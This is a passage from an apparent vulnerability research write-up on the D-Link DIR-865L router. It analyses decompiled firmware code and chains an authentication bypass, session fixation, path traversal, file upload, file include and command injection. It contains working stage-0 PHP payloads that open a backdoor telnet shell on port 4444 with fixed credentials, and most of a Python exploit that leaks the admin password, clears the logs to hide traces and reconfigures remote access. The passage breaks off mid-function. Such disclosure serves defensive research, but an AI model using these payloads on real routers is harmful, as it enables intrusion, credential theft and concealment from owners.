local_24 = cgibin_parse_request(FUN_00407c88,local_28,0x80000);
}
}
if (local_24 < 0) {
if (local_24 == -100) {
__stream = fopen("/htdocs/web/info.php","r");
if (__stream != (FILE *)0x0) {
fclose(__stream);
cgibin_print_http_resp(1,"/info.php","FAIL","ERR_REQ_TOO_LONG",0,"");
}
}
else {
cgibin_print_http_status(400,"unsupported HTTP request","unsupported HTTP request");
}
}
else {
iVar2 = sess_validate();
sprintf(acStack_20,"AUTHORIZED_GROUP=%d",iVar2);
sobj_add_string((int)local_28,acStack_20);
sobj_add_char((int)local_28,10);
sobj_add_string((int)local_28,"SESSION_UID=");
sess_get_uid((int)local_28);
sobj_add_char((int)local_28,10);
pcVar1 = sobj_get_string((int)local_28);
local_24 = xmldbc_ephp((char *)0x0,0,pcVar1,stdout);
}
}
}
}
LAB_00408444:
cgibin_clean_tempfiles();
if (local_28 != (undefined4 *)0x0) {
sobj_del(local_28);
}
return local_24;
}
File: /htdocs/cgibin
Function: main()
int main(int param_1,char **param_2,int param_3,undefined4 param_4) {
int iVar1;
int local_10;
char *local_c;
local_10 = 1;
local_c = strrchr(*param_2,0x2f);
if (local_c == (char *)0x0) {
local_c = *param_2;
}
else {
local_c = local_c + 1;
}
iVar1 = strcmp(local_c,"scandir.sgi");
if (iVar1 == 0) {
local_10 = scandir_main(param_1,(int)param_2);
}
else {
iVar1 = strcmp(local_c,"phpcgi");
if (iVar1 == 0) {
local_10 = phpcgi_main(param_1,(int)param_2,param_3);
}
...
From what I understand when we request a file with extension .php, the POST request’s body:
junk=%0aAUTHORIZED_GROUP%3d1%0a_POST_CHECK_NODE%3d/device/account/entry:1/name
Get transformed before being sent to the PHP engine to:
_POST_junk=\nAUTHORIZED_GROUP=1\n_POST_CHECK_NODE=/device/account/entry:1/name
Based on this I was able to identify within /htdocs/web/check_stats.php a new way to leak the account name and password of the administrator.
File: /htdocs/web/check_stats.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?
include "/htdocs/phplib/trace.php";
if ($AUTHORIZED_GROUP < 0)
{
$result = "Authenication fail";
}
else
{
$result = "OK";
$code = "";
$message= "";
TRACE_debug("CHECK_NODE=================".$_POST["CHECK_NODE"]);
// get value.
if($_POST["CHECK_NODE"] != "")
{
$code = query($_POST["CHECK_NODE"]);
TRACE_debug("code=============".$code);
}
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<status>\n";
echo "\t<result>".$result."</result>\n";
echo "\t<code>".$code."</code>\n";
echo "\t<message></message>\n";
echo "</status>\n";
?>
Since we control the variable $_POST["CHECK_NODE"]
, it is possible to parse
the router configuration (an XML file) and extract information from it by
controlling the parameters of the function query()
.
Leak administrator’s username:
Leak administrator’s password:
To conclude on this second vulnerability I would say that, the router is
vulnerable to an Authentication Bypass via Line Feed (LF) Injection using %0a
in POST parameters when requesting
/check_stats.php through /htdocs/cgibin
.
This vulnerability allows us to retrieve administrator’s username and password.
For your information, the Authentication Bypass via LF Injection can also be
exploited through GET parameters.
Session Fixation
As the name suggests, a user can set his own session cookie (uid
), so that we
don’t have to parse the Web server responses looking for Set-Cookie
header.
Cookie uid
fixed by the user:
Path Traversal + Arbitrary File List
This vulnerability can be exploited without authentication for firmware version < v1.07 and is still exploitable but with authentication (and without the Path Traversal) for firmware version >= v1.07.
List files and directories in the current directory (/var/tmp/storage/):
List files and directories in the router’s root directory (/):
When .sgi scripts are requested,
/usr/sbin/scandir.sgi is called which is a
symlink to /htdocs/cgibin
.
Let’s look at the following call stack in /htdocs/cgibin
:
main()
scandir_main()
FUN_0041a4c0()
opendir()
orchdir() + system("ls -lh ")
File: /htdocs/cgibin
Function: FUN_0041a4c0()
undefined4 FUN_0041a4c0(char *param_1,char *param_2,char *param_3,char *param_4) {
int iVar1;
FILE *pFVar2;
__pid_t _Var3;
DIR *pDVar4;
size_t sVar5;
char *pcVar6;
char *local_614;
char *local_610;
byte *local_604;
char acStack_5ec [100];
char acStack_588 [100];
char acStack_524 [100];
char acStack_4c0 [100];
char acStack_45c [64];
undefined4 local_41c;
undefined4 local_418;
undefined4 local_414;
undefined4 local_410;
undefined2 local_40c;
char local_40a;
undefined auStack_409 [1009];
undefined4 local_18;
undefined4 local_14;
pcVar6 = param_4;
iVar1 = strcmp(param_1,"getsmb");
if (iVar1 == 0) {
...
}
else {
iVar1 = strcmp(param_1,"getclient");
if (iVar1 == 0) {
...
}
iVar1 = strcmp(param_1,"getlist");
if (iVar1 == 0) {
local_41c = 0x7261762f;
local_418 = 0x726f702f;
local_414 = 0x5f6c6174;
local_410 = 0x72616873;
local_40c = 0x2f65;
local_40a = '\0';
memset(auStack_409,0,0x3ed);
strcat((char *)&local_41c,param_2);
pDVar4 = opendir((char *)&local_41c);
if (pDVar4 == (DIR *)0x0) {
local_18 = 0;
}
else {
chdir((char *)&local_41c);
printf("%c%c%c",0xef,0xbb,0xbf);
fflush(stdout);
system("ls -lh ");
closedir(pDVar4);
local_18 = 0;
}
}
else {
...
}
}
return local_18;
}
File: /htdocs/cgibin
Function: scandir_main()
Firmware version: previous to 1.07
undefined4 scandir_main(int param_1,char *param_2,undefined4 param_3,undefined4 param_4) {
int iVar1;
char *pcVar2;
void *__ptr;
int iVar3;
char *pcVar4;
char *local_30;
char *local_2c;
char *local_28;
char *local_24;
int local_18;
undefined4 local_10;
pcVar4 = param_2;
setuid(0);
setgid(0);
local_24 = (char *)0x0;
local_28 = (char *)0x0;
local_2c = (char *)0x0;
local_30 = (char *)0x0;
if (param_1 < 2) {
local_10 = 0xffffffff;
}
else {
if (param_1 == 2) {
pcVar4 = "start";
iVar1 = strcmp(*(char **)(param_2 + 4),"start");
if (iVar1 == 0) {
FUN_0041b0d0(1);
return 0;
}
}
if (param_1 == 2) {
pcVar4 = "stop";
iVar1 = strcmp(*(char **)(param_2 + 4),"stop");
if (iVar1 == 0) {
FUN_0041b0d0(0);
return 0;
}
}
pcVar2 = getenv("QUERY_STRING");
if (pcVar2 == (char *)0x0) {
local_10 = 0xffffffff;
}
else {
__ptr = FUN_0041b8a4(pcVar2);
local_18 = 0;
iVar1 = local_18;
while( true ) {
local_18 = iVar1;
pcVar2 = *(char **)((int)__ptr + local_18 * 4);
iVar1 = local_18 + 1;
if (pcVar2 == (char *)0x0) break;
pcVar4 = "action";
iVar3 = strcmp(pcVar2,"action");
if (iVar3 == 0) {
local_24 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "path";
iVar3 = strcmp(pcVar2,"path");
if (iVar3 == 0) {
local_28 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "where";
iVar3 = strcmp(pcVar2,"where");
if (iVar3 == 0) {
local_2c = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
else {
pcVar4 = "en";
iVar3 = strcmp(pcVar2,"en");
if (iVar3 == 0) {
local_30 = *(char **)((int)__ptr + iVar1 * 4);
iVar1 = local_18 + 2;
}
}
}
}
}
printHeader(200,pcVar4,param_3,param_4);
fflush(stdout);
iVar1 = FUN_0041a4c0(local_24,local_28,local_2c,local_30);
if (iVar1 == 0) {
free(__ptr);
local_10 = 0;
}
else {
local_10 = 0xffffffff;
}
}
}
return local_10;
}
File: /htdocs/cgibin
Function: scandir_main()
Firmware version: 1.07 and later
undefined4 scandir_main(int param_1,int param_2) {
bool bVar1;
int iVar2;
char *pcVar3;
void *__ptr;
int iVar4;
undefined3 extraout_var;
char *en;
char *where;
char *path;
char *action;
int local_18;
undefined4 local_10;
setuid(0);
setgid(0);
action = (char *)0x0;
path = (char *)0x0;
where = (char *)0x0;
en = (char *)0x0;
if (param_1 < 2) {
local_10 = 0xffffffff;
}
else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"start"), iVar2 == 0)) {
FUN_0041c940(1);
local_10 = 0;
}
else if ((param_1 == 2) && (iVar2 = strcmp(*(char **)(param_2 + 4),"stop"), iVar2 == 0)) {
FUN_0041c940(0);
local_10 = 0;
}
else {
pcVar3 = getenv("QUERY_STRING");
if (pcVar3 == (char *)0x0) {
local_10 = 0xffffffff;
}
else {
__ptr = FUN_0041d114(pcVar3);
local_18 = 0;
iVar2 = local_18;
while( true ) {
local_18 = iVar2;
pcVar3 = *(char **)((int)__ptr + local_18 * 4);
iVar2 = local_18 + 1;
if (pcVar3 == (char *)0x0) break;
iVar4 = strcmp(pcVar3,"action");
if (iVar4 == 0) {
action = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"path");
if (iVar4 == 0) {
path = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"where");
if (iVar4 == 0) {
where = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
else {
iVar4 = strcmp(pcVar3,"en");
if (iVar4 == 0) {
en = *(char **)((int)__ptr + iVar2 * 4);
iVar2 = local_18 + 2;
}
}
}
}
}
printHeader(200);
fflush(stdout);
bVar1 = sess_ispoweruser();
if (CONCAT31(extraout_var,bVar1) == 0) {
printf("No Authentication!!");
local_10 = 0xffffffff;
}
else {
pcVar3 = strstr(path,"/..");
if ((pcVar3 == (char *)0x0) && ((*path != '.' || (path[1] != '.')))) {
iVar2 = FUN_0041bd30(action,path,where,en);
if (iVar2 == 0) {
free(__ptr);
local_10 = 0;
}
else {
local_10 = 0xffffffff;
}
}
else {
printf("Invalid Path!!");
local_10 = 0xffffffff;
}
}
}
}
return local_10;
}
By manipulating GET variable path
that reference a directory with ../
sequences and its variations, it is possible to list files (and directories) in
arbitrary directory on the filesystem through the functions opendir()
or
chdir() + system("ls -lh ")
.
Arbitrary File Upload
File upload vulnerabilities occurs when a Web server allows users to upload files to its filesystem without sufficiently validating things like their name (and extension), type, contents, or size.
Upload a file to a storage:
List files and directories in the storage using the previous vulnerability:
Retrieve the content of the uploaded file:
We will use this vulnerability to upload our stage 0 (stage_0.xml.php) with the extension .xml.php.
PHP File Include
PHP, as many other languages, allows the inclusion of files in order to provide
or extend the functionality of the current PHP file. This functionality is
provided by the function dophp()
which can be used in the following way:
dophp("load", $file);
Controlling the variable $file
allows us to include file $file
in the
current script.
File: /htdocs/web/getcfg.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
?></postxml>
Within the file /htdocs/web/getcfg.php, it is
possible to control the variable $_POST["SERVICES"]
and consequently the
variable $GETCFG_SVC
and a portion of the variable $file
(second argument
passed to the function dophp()
whose source code can be found at
FUN_00420d50()
in /usr/sbin/xmldbc
). Unfortunately, the extension of the
controlled file ($file
) cannot be changed and must end with
.xml.php.
The trick is to upload a file with extension .xml.php (our stage 0) and include it to run arbitrary PHP code.
Command Injection
We are, by chaining the vulnerabilities presented above, able to execute
arbitrary PHP code without authentication. However the function set available in
the core of the PHP engine (/usr/sbin/xmldbc
) is limited and the following
functions does not exists:
exec()
passthru()
popen()
proc_open()
shell_exec()
system()
To identify the functions that are available to us, we can either read all the
PHP code in the directory /htdocs/ or reverse
engineer the binary /usr/sbin/xmldbc
to be more exhaustive.
PHP functions supported by the engine:
ephp_I18N()
, reachable by callingI18N()
ephp_anchor()
, reachable by callinganchor()
ephp_ascii()
, reachable by callingascii()
ephp_charcodeat()
, reachable by callingcharcodeat()
ephp_clear_all()
, reachable by callingclear_all()
ephp_cut()
, reachable by callingcut()
ephp_cut_count()
, reachable by callingcut_count()
ephp_dec2strf()
, reachable by callingdec2strf()
ephp_del()
, reachable by callingdel()
ephp_dophp()
, reachable by callingdophp()
ephp_dump()
, reachable by callingdump()
ephp_escape()
, reachable by callingescape()
ephp_event()
, reachable by callingevent()
ephp_fcopy()
, reachable by callingfcopy()
ephp_fread()
, reachable by callingfread()
ephp_ftime()
, reachable by callingftime()
ephp_fwrite()
, reachable by callingfwrite()
ephp_get()
, reachable by callingget()
ephp_i18n()
, reachable by callingi18n()
ephp_ipv4hostid()
, reachable by callingipv4hostid()
ephp_ipv4int2mask()
, reachable by callingipv4int2mask()
ephp_ipv4ip()
, reachable by callingipv4ip()
ephp_ipv4mask2int()
, reachable by callingipv4mask2int()
ephp_ipv4maxhost()
, reachable by callingipv4maxhost()
ephp_ipv4networkid()
, reachable by callingipv4networkid()
ephp_ipv6addradd()
, reachable by callingipv6addradd()
ephp_ipv6addrtype()
, reachable by callingipv6addrtype()
ephp_ipv6checkip()
, reachable by callingipv6checkip()
ephp_ipv6eui64()
, reachable by callingipv6eui64()
ephp_ipv6globalid()
, reachable by callingipv6globalid()
ephp_ipv6globalip()
, reachable by callingipv6globalip()
ephp_ipv6hostid()
, reachable by callingipv6hostid()
ephp_ipv6int2hostid()
, reachable by callingipv6int2hostid()
ephp_ipv6ip()
, reachable by callingipv6ip()
ephp_ipv6networkid()
, reachable by callingipv6networkid()
ephp_isalnum()
, reachable by callingisalnum()
ephp_isalpha()
, reachable by callingisalpha()
ephp_isdigit()
, reachable by callingisdigit()
ephp_isdir()
, reachable by callingisdir()
ephp_isdomain()
, reachable by callingisdomain()
ephp_isempty()
, reachable by callingisempty()
ephp_isfile()
, reachable by callingisfile()
ephp_isgraph()
, reachable by callingisgraph()
ephp_isprint()
, reachable by callingisprint()
ephp_isxdigit()
, reachable by callingisxdigit()
ephp_map()
, reachable by callingmap()
ephp_movc()
, reachable by callingmovc()
ephp_move()
, reachable by callingmove()
ephp_query()
, reachable by callingquery()
ephp_scut()
, reachable by callingscut()
ephp_scut_count()
, reachable by callingscut_count()
ephp_sealpac()
, reachable by callingsealpac()
ephp_setattr()
, reachable by callingsetattr()
ephp_strchr()
, reachable by callingstrchr()
ephp_strip()
, reachable by callingstrip()
ephp_strlen()
, reachable by callingstrlen()
ephp_strstr()
, reachable by callingstrstr()
ephp_strtoul()
, reachable by callingstrtoul()
ephp_substr()
, reachable by callingsubstr()
ephp_tolower()
, reachable by callingtolower()
ephp_toupper()
, reachable by callingtoupper()
ephp_unlink()
, reachable by callingunlink()
ephp_urlencode()
, reachable by callingurlencode()
The function FUN_00422544()
which corresponds to function ephp_event()
which
can be called from PHP code by calling function event()
is vulnerable to a
Command Injection. Its only argument is passed as an argument to the function
system()
.
File: /usr/sbin/xmldbc
Function: FUN_00422544()
undefined4 FUN_00422544(int *param_1,undefined4 param_2,int **param_3,undefined4 param_4,int param_5) {
bool bVar1;
undefined4 *puVar2;
int iVar3;
undefined3 extraout_var;
char *pcVar4;
undefined4 *local_18;
undefined4 *local_10;
undefined4 local_c;
local_c = 0xffffffff;
local_10 = (undefined4 *)0x0;
local_18 = (undefined4 *)0x0;
puVar2 = FUN_0041a644((undefined4 *)0x0,(undefined4 *)(param_5 + 8));
if (puVar2 == (undefined4 *)0x0) {
client_printf(*param_1,"\n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>\n","SYNTAX ERROR",param_4);
client_printf(*param_1,"%s: no argument found !","ephp_event",param_4);
client_printf(*param_1,"\n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<\n","SYNTAX ERROR",param_4);
local_c = 0xffffffff;
}
else {
local_10 = sobj_new();
local_18 = sobj_new();
if ((local_10 == (undefined4 *)0x0) || (local_18 == (undefined4 *)0x0)) {
pcVar4 = "INTERNAL ERROR";
client_printf(*param_1,"\n!! %s >>>>>>>>>>>>>>>>>>>>>>>>>\n","INTERNAL ERROR",param_4);
client_printf(*param_1,"memory allocation failed !",pcVar4,param_4);
client_printf(*param_1,"\n!! %s <<<<<<<<<<<<<<<<<<<<<<<<<\n","INTERNAL ERROR",param_4);
local_c = 0xffffffff;
}
else {
iVar3 = expand_operand_list(param_1,param_2,param_3,local_10,(int)puVar2);
if (-1 < iVar3) {
local_c = 0;
bVar1 = sobj_empty((int)local_10);
if (CONCAT31(extraout_var,bVar1) == 0) {
sobj_add_string((int)local_18,"event ");
pcVar4 = sobj_get_string((int)local_10);
sobj_add_string((int)local_18,pcVar4);
pcVar4 = sobj_get_string((int)local_18);
system(pcVar4);
}
}
}
}
if (local_10 != (undefined4 *)0x0) {
sobj_del(local_10);
}
if (local_18 != (undefined4 *)0x0) {
sobj_del(local_18);
}
return local_c;
}
This being known, the following stage 0 can be developed:
File: stage_0.xml.php
<module>
<?
$_GLOBALS["STAGE_SCRIPT"] = "/tmp/stage_1.sh";
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
$write_file = "#!/bin/sh" . "\n";
$write_file = $write_file . "/usr/bin/killall telnetd" . "\n";
$write_file = $write_file . "/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &" . "\n";
$write_file = $write_file . "/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &" . "\n";
$write_file = $write_file . "/bin/echo DONE > ". $_GLOBALS["STAGE_OUTPUT"] . "\n";
fwrite("w", $_GLOBALS["STAGE_SCRIPT"], $write_file);
event(";/bin/sh " . $_GLOBALS["STAGE_SCRIPT"]);
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_SCRIPT"]);
unlink($_GLOBALS["STAGE_OUTPUT"]);
?>
</module>
Another way to get a Command Injection is to write to file
/var/run/exec.sh and then call function event()
with string EXECUTE
as only argument. Which allows us to develop a second
stage 0:
File: stage_0_bis.xml.php
<module>
<?
$_GLOBALS["STAGE_OUTPUT"] = "/tmp/stage_1.log";
function execute_cmd($cmd) {
fwrite("w","/var/run/exec.sh",$cmd);
event("EXECUTE");
}
execute_cmd("/usr/bin/killall telnetd\n");
execute_cmd("/usr/sbin/iptables -A INPUT -m state --state NEW -p tcp --dport 4444 -j ACCEPT &\n");
execute_cmd("/usr/sbin/telnetd -l/usr/sbin/login -u coiffeur:coiffeur -p4444 &\n");
execute_cmd("/bin/echo DONE > " . $_GLOBALS["STAGE_OUTPUT"] . "\n");
execute_cmd("\n");
$read_file = fread("", $_GLOBALS["STAGE_OUTPUT"]);
echo $read_file;
unlink($_GLOBALS["STAGE_OUTPUT"]);
?>
</module>
As it can be seen by reading the code of the function FUN_00422544()
, the
function is a wrapper around the binary /usr/sbin/event
. Here is a hint
provided by a script executed during the boot process,
/etc/init0.d/S51wlan.sh:
File: /etc/init0.d/S51wlan.sh
#!/bin/sh
#the event EXECUTE is for helping execute a script. Check "webincl/body/bsc_wlan.php"
echo [$0]: $1 ... > /dev/console
case "$1" in
start|stop)
service WIFI.PHYINF $1
event EXECUTE add "sh /var/run/exec.sh"
;;
*)
echo [$0]: invalid argument - $1 > /dev/console
;;
esac
exit 0
We now have all the information we need to create a complete exploit.
Proof Of Concept
Stages 0
Exploit
File: exploit.py
import argparse
import hmac
import ipaddress
import json
import requests
import telnetlib
import time
import urllib3
# Remove SSL warnings.
urllib3.disable_warnings()
# The header "Server" leaks information (model number, firmware version).
SERVER_HEADER = "Server"
# This variable is used to repeat the string "../" when exploiting a path traversal.
DEPTH = 10
# Stage 0 (PHP payload that drop and execute stage 1).
# This stage 0 exploit a Command Injection in the core of the PHP engine (function event()).
# For your information, stage 1 is executed and once executed is deleted at the end of
# the execution of stage 0 to limit the traces left on the system.
STAGE_0 = "stage_0.xml.php"
# Port on which the telnetd process should listen.
TELNETD_PORT = 4444
# Credentials to use when connecting to telnetd.
CREDENTIALS = {
"login": "coiffeur",
"password": "coiffeur"
}
# This function extracts the data between two delimiters.
def extract(raw, start_delimiter, end_delimiter):
# The first delimiter is searched for.
start = raw.find(start_delimiter)
if start == -1:
print("[x] Error: function extract() failed (can't find starting delimiter).")
return None
start = start + len(start_delimiter)
# The second delimiter is searched for.
end = raw[start::].find(end_delimiter)
if end == -1:
print("[x] Error: function extract() failed (can't find end delimiter).")
return None
end += start
return raw[start:end]
class Recon:
def __init__(self, ip, port):
self.ip = ip
self.port = port
# We check that we can communicate with the target
# either through the HTTPS protocol or through the
# HTTP protocol.
if not (self.check_protocol(f"https://{ip}:{port}") or self.check_protocol(f"http://{ip}:{port}")):
print("\t"+"[x] Can't communicate with the target.")
exit(-1)
print("\t"+f"[*] Target's URL: {self.url}")
# We check that the target is vulnerable by identifying
# its model number and firmware version.
if not self.check_target():
print("\t"+"[x] Target is not exploitable.")
exit(-1)
print("\t"+"[+] Target is exploitable.")
# This function tries to communicate with the Web server
# through the provided URL
def check_protocol(self, url):
try:
r = requests.get(url=url, verify=False)
except:
return 0
self.url = url
return 1
# This function checks the router model number through
# the headers of the Web server response and the content
# of the response body. The firmware version is given
# for information only.
def check_target(self):
r = requests.get(url=self.url, allow_redirects=False, verify=False)
if r.status_code != 200:
return 0
# We check the presence of the model number in the
# SERVER_HEADER header.
if r.headers[SERVER_HEADER].find("DIR-865L") == -1:
return 0
model_header = r.headers[SERVER_HEADER].split(" ")[2]
version_header = " ".join(r.headers[SERVER_HEADER].split(" ")[3:5])
print("\t"+f"[*] Model retrieved from header '{SERVER_HEADER}': {model_header} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from header '{SERVER_HEADER}': {version_header} (Information Leak, pre-auth)")
# We check the presence of the model number in the body
# of the Web server response.
if r.text.find("DIR-865L") == -1:
return 0
model_body = extract(r.text, "target=\"_blank\">", "</a>")
version_body = extract(r.text, "<span class=\"version\">", "</span>")
print("\t"+f"[*] Model retrieved from HTML body: {model_body} (Information Leak, pre-auth)")
print("\t"+f"[*] Version retrieved from HTML body: {version_body} (Information Leak, pre-auth)")
return 1
class Attack:
storages = []
session = "uid=session_fixation"
webaccess_config_updated = 0
webaccess_config = ""
def __init__(self, ip, port, url):
self.ip = ip
self.port = port
self.url = url
# The router is vulnerable to an authentication bypass via LF
# injection using "%0a" in POST parameters whe requesting
# "/check_stats.php" which allows us to retrieve administrator's
# username and password.
# We try to exploit this vulnerability to retrieve the account name
# and password of the administrator.
if not self.get_credentials():
print("\t"+"[x] Can't retrieve administrator's credentials.")
exit(-1)
print("\t"+f"[*] Leaked username: {self.username} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
print("\t"+f"[*] Leaked password: {self.password} (Authentication Bypass via LF Injection + Information Leak, pre-auth)")
# The router is vulnerable to session fixation. We exploit this
# vulnerability during authentication.
if not self.set_session():
print("\t"+"[x] Can't log in as administrator.")
exit(-1)
print("\t"+f"[*] Session fixed at: {self.session} (Session Fixation, pre-auth)")
# During authentication the IPs are logged. We must clear
# the logs.
self.clear_logs()
print("\t"+"[*] Authentication logs cleared.")
# The router is vulnerable to an Arbitrary File List (post-auth).
# We check if there is a storage in which we can store our stage 0.
if not self.check_storage():
print("\t"+"[x] Can't find any storage.")
exit(-1)
# There before retrieving the authentication cookie of SharePort Web Access,
# we first check that it is active and reachable from the WAN. If it is not
# the case we try to modify the configuration of SharePort Web Access, but
# the original configuration will then be restored.
if not self.check_shareport():
print("\t"+"[x] It seems impossible to update SharePort Web Access configuration.")
exit(-1)
# There we retrieve the SharePort Web Access authentication cookie.
if not self.solve_challenge_response():
print("\t"+"[x] Can't retrieve SharePort Web Access authentication cookie.")
exit(-1)
print("\t"+f"[*] SharePort Web Access authentication cookie: {self.cookie}")
# There we try to upload our stage 0 to a storage.
if not self.upload_stage_0():
print("\t"+"[x] Can't upload stage 0.")
exit(-1)
print("\t"+f"[*] Stage 0 upload to storage: {self.storage} (Arbitrary File Upload, post-auth)")
# There we exploit a PHP File Include vulnerability limited to
# files whose extension are ".xml.php". However, our stage 0 that
# we uploaded earlier does have this extension.
if not self.execute_stage_0():
print("\t"+"[x] Can't execute stage 0.")
exit(-1)
print("\t"+"[*] Stage 0 executed. (PHP File Include, pre-auth)")
# This function checks the presence of storage by exploiting
# an Arbitrary Directory Listing vulnerabilities.
def check_storage(self):
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
# Parameter "path" is the vulnerable parameter.
new_url = f"{self.url}/portal/__ajax_explorer.sgi?action=getlist&path=./"
r = requests.get(url=new_url, headers=headers, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("Generic") == -1:
return 0
# We save all the storages for future use.
for line in r.text.split("\n"):
storage = line.split(" ")[-1]
if storage:
print("\t"+f"[*] Storage found: {storage} (Path Traversal + Arbitrary Directory Listing, post-auth)")
self.storages.append(storage)
# If no storage is identified then exploitation is impossible.
if len(self.storages) == 0:
return 0
return 1
# This function exploits an authentication bypass to retrieve
# the account name and password of the administrator.
def get_credentials(self):
new_url = f"{self.url}/check_stats.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
# We retrieve the administrator's account name.
datas = b"CHECK_NODE=/device/account/entry:1/name" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("OK") == -1:
return 0
self.username = extract(r.text, "<code>", "</code>")
if not self.username:
return 0
# We retrieve the administrator's password.
datas = b"CHECK_NODE=/device/account/entry:1/password" + b"&authentication_bypass=%0aAUTHORIZED_GROUP%3d1%0a"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("OK") == -1:
return 0
self.password = extract(r.text, "<code>", "</code>")
return 1
# This function is used to authenticate and operate the
# session fixation.
def set_session(self):
new_url = f"{self.url}/session.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = f"REPORT_METHOD=xml&ACTION=login_plaintext&USER={self.username}&PASSWD={self.password}"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("SUCCESS") == -1:
return 0
return 1
# This function allows to erase authentication traces by
# cleaning the logs.
def clear_logs(self):
# However, we need to send a specific request for each
# type of log we want to clean
for logtype in ["sysact", "attack", "drop"]:
new_url = f"{self.url}/log_clear.php"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = f"act=clear&logtype={logtype}&SERVICES=RUNTIME.LOG"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
# This function verifies that SharePort Web Access is active
# and reachable from the WAN. If not, we try to activate it
# by uploading a new SharePort Web Access configuration.
def check_shareport(self):
new_url = f"{self.url}/getcfg.php"
headers = {
"Cookie": self.session,
"Content-Type": "application/x-www-form-urlencoded"
}
datas = "SERVICES=WEBACCESS"
r = requests.post(url=new_url, headers=headers, data=datas, allow_redirects=False, verify=False)
if r.status_code != 200 or r.text.find("WEBACCESS") == -1:
return 0
# We make a backup of the original configuration.
self.webaccess_config = r.text
new_webaccess_config = self.webaccess_config
# We parse the content of SharePort Web Access configuration.
print("\t"+f"[*] Parsing SharePort Web Access configuration ...")
enable = extract(new_webaccess_config, "<enable>", "</enable>")
httpenable = extract(new_webaccess_config, "<httpenable>", "</httpenable>")
self.httpport = extract(new_webaccess_config, "<httpport>", "</httpport>")
httpsenable = extract(new_webaccess_config, "<httpsenable>", "</httpsenable>")
self.httpsport = extract(new_webaccess_config, "<httpsport>", "</httpsport>")
remoteenable = extract(new_webaccess_config, "<remoteenable>", "</remoteenable>")
print("\t\t"+f"- enable: {enable}")
print("\t\t"+f"- httpenable: {httpenable}")
print("\t\t"+f"- httpport: {self.httpport}")
print("\t\t"+f"- httpsenable: {httpsenable}")
print("\t\t"+f"- httpsport: {self.httpsport}")
print("\t\t"+f"- remoteenable: {remoteenable}")
# If the original one does not allow us to exploit the target
# we modify the configuration.
if enable != 1:
new_webaccess_config = new_webaccess_config.replace("<enable>0</enable>", "<enable>1</enable>")
if httpenable != 1:
new_webaccess_config = new_webaccess_config.replace("<httpenable>0</httpenable>", "<httpenable>1</httpenable>")
if self.httpport == "":
self.httpport = "8181"
new_webaccess_config = new_webaccess_config.replace("<httpport></httpport>", f"<httpport>{self.httpport}</httpport>")
if httpsenable != 1:
new_webaccess_config = new_webaccess_config.replace("<httpsenable>0</httpsenable>", "<httpsenable>1</httpsenable>")
if self.httpsport == "":
self.httpsport = "4433"
new_webaccess_config = new_webaccess_config.replace("<httpsport></httpsport>", f"<httpsport>{self.httpsport}</httpsport>")
if remoteenable != 1:
new_webaccess_config = new_webaccess_config.replace("<remoteenable>0</remoteenable>", "<remoteenable>1</remoteenable>")
if new_webaccess_config == self.webaccess_config:
return 1
self.webaccess_config_updated = 1
print("\t"+f"[*] Updating SharePort Web Access configuration ...")
# We try to upload the new configuration.
new_url = f"{self.url}/hedwig.cgi"
headers = {
"Cookie": self.session,
"Content-Type": "text/xml"
}
